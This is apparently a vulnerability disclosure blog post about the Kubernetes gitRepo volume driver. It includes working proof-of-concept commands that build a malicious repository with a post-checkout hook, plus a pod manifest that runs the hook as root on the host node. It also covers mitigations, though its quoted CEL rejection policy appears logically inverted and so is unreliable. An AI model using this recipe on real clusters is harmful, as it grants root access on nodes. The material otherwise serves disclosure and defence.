Sneaky write hook: git clone to root on k8s node

Kubernetes supports the concept of volumes (aka storage drivers). This concept makes it possible to extend or facilitate providing data to your pods. As of today, the Kubernetes core features 16 different volume drivers that are available in a default installation.

This blog post focuses on the gitRepo volume driver, and a yet-unpatched security vulnerability that was just recently disclosed publicly. Besides the technical analysis, we also recommend security controls that could be used to prevent exploitation.

The gitRepo volume driver and CVE-2018–11235

This gitRepo volume driver allows referencing the URL of a Git repository; Kubelet in turn will check out the repo and make the files of the repo available to your application.

This is not the first time this driver is subject to a security issue: in 2018, a vulnerability was identified in the Git CLI itself (CVE-2018–11235) that resulted in code execution when the crafted repo relied on malicious submodule references. The same vulnerability could also be exploited in the context of the gitRepo volume driver: an attacker could run arbitrary commands on the worker node in the host context as root.

Back then, this could be fixed by bumping to the most recent, patched version of the Git CLI. When this vulnerability was discovered in 2018, the Kubernetes maintainers made the decision to deprecate the gitRepo volume driver and added the following warning to the official documentation:

To provision a Pod that has a Git repository mounted, you can mount an emptyDir volume into an init container that clones the repo using Git, then mount the EmptyDir into the Pod’s container.

…but gitRepo is still exploitable

The new vulnerability is Kubernetes specific, but the impact is the same as it was in 2018. It targets the deprecated gitRepo volume driver and tricks the Git CLIinto executing commands via a specially crafted repository.

To understand how it works, let’s take a look at the configuration options of the gitRepo volume driver:

• repository: the URL to the repo to be cloned
• revision: (optional) the commit hash or tag to be checked out
• directory: (optional) the subdirectory inside the volume into which the repository will be checked out

The implementation executes the git clone OS command first. Then, if revision is configured, the git checkout and git reset follow-up commands are executed as well. This new vulnerability abuses the two optional configuration options.

The code allows checking out into a subdirectory of any depth (e.g. something/you/prefer). Regardless, the follow-up commands are always executed at the first depth (e.g. something).

This allows an attacker to check out a crafted repository into a subdirectory called something/.git with any arbitrary content, in which case the driver will execute git checkout in something. The Git CLI will look into the .git subdir (of something), where the attacker has pre-populated a file structure that is normally present in the .git subdirectory of non-bare repositories. (Note: In this scenario, something/.git/.git would exist as well, but the CLI doesn’t care about that.)

In other words: the Git CLI is under the impression that it is operating inside a bare repository, even though it is a normal repository.

Directory: something/.git

This is specified as the directory in the volume spec. This is where git clone originally checks out the malicious repository. The checked out files of this repo (the “local copy”) are crafted and look like a bare repo.

Directory: something/.git/.git

The Git CLI populates this directory with the metadata and objects of the real bare repository. This is what Git CLI should be using in the follow-up steps, but it is off by one layer.

Directory: something

This is where the volume driver executes the follow-up commands. As such, the Git CLI uses something/.git as the bare repo instead of something/.git/.git

With this primitive, the attacker controls the git configuration file of the fake bare repo, which provides a dozen of different command call out options. The attacker also controls the hooks subdirectory.

Below, I show how such a repo could be built along with a custom post-checkout hook:

# Initiate a new git repo
mkdir gitongit && cd gitongit
git init

# Create the hook to be executed
mkdir hooks
cat >hooks/post-checkout <<'EOF'
#!/bin/sh
id > /tmp/poc
EOF
chmod +x hooks/post-checkout

# The root directory of bare repos must have HEAD, config and objects entries:
cp .git/HEAD .git/config .
cp -r .git/objects .
git add .
git commit -m "first"

# And in a follow up round lets also add logs, refs and refresh the objects:
cp -r .git/logs .git/objects .git/refs .
git add .
git commit -m "second"

These are the low-level steps to verify the repo was built correctly:

cd /tmp
mkdir cl && cd cl
git clone http://some.host/the-repo-you-just-built.git something/.git
cd something
git checkout main
cat /tmp/poc

Putting this all together, the following pod definition would execute the post-checkout hook we configured above:

kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: test-pd
spec:
  containers:
  - image: alpine:latest
    command: ["sleep","86400"]
    name: test-container
    volumeMounts:
    - mountPath: /gitrepo
      name: gitvolume
  volumes:
  - name: gitvolume
    gitRepo:
      directory: g/.git
      repository: https://github.com/irsl/g.git
      revision: main
EOF

Then, on the worker node where the pod was scheduled, we can find the flag file on the host:

user@gke-cluster-2-default-pool-6602275c-3zk3 ~ $ cat /tmp/poc
uid=0(root) gid=0(root) groups=0(root)

Exploitation requires having permissions to create pods and the volume driver being available. The impact is code execution in the host’s security context (so you could refer to this as a sandbox escape).

So, how to prevent this?

The Kubernetes maintainers decided to not fix this flaw due to the driver being deprecated for more than 5 years and because a workaround was already highlighted in the documentation. Since then, they also added one more warning to the documentation:

You can restrict the use of gitRepo volumes in your cluster using policies such as ValidatingAdmissionPolicy. You can use the following Common Expression Language (CEL) expression as part of a policy to reject use of gitRepo volumes: has(object.spec.volumes) || !object.spec.volumes.exists(v, has(v.gitRepo)).

The question arises why the vendor didn’t just remove the driver? That is, unfortunately, very difficult to do as the guarantee of backwards compatibility is very important for the orchestration platform.

Anyway, since this is an implementation issue, we decided to fix the vulnerability by sending a PR. Kubernetes 1.31 to be released in August fixes this issue.

It is also worth mentioning that this driver has always been disabled in GKE Autopilot.

Another way to mitigate this could be using acjs, an admission controller that can turn your gitRepo volume into an initContainer.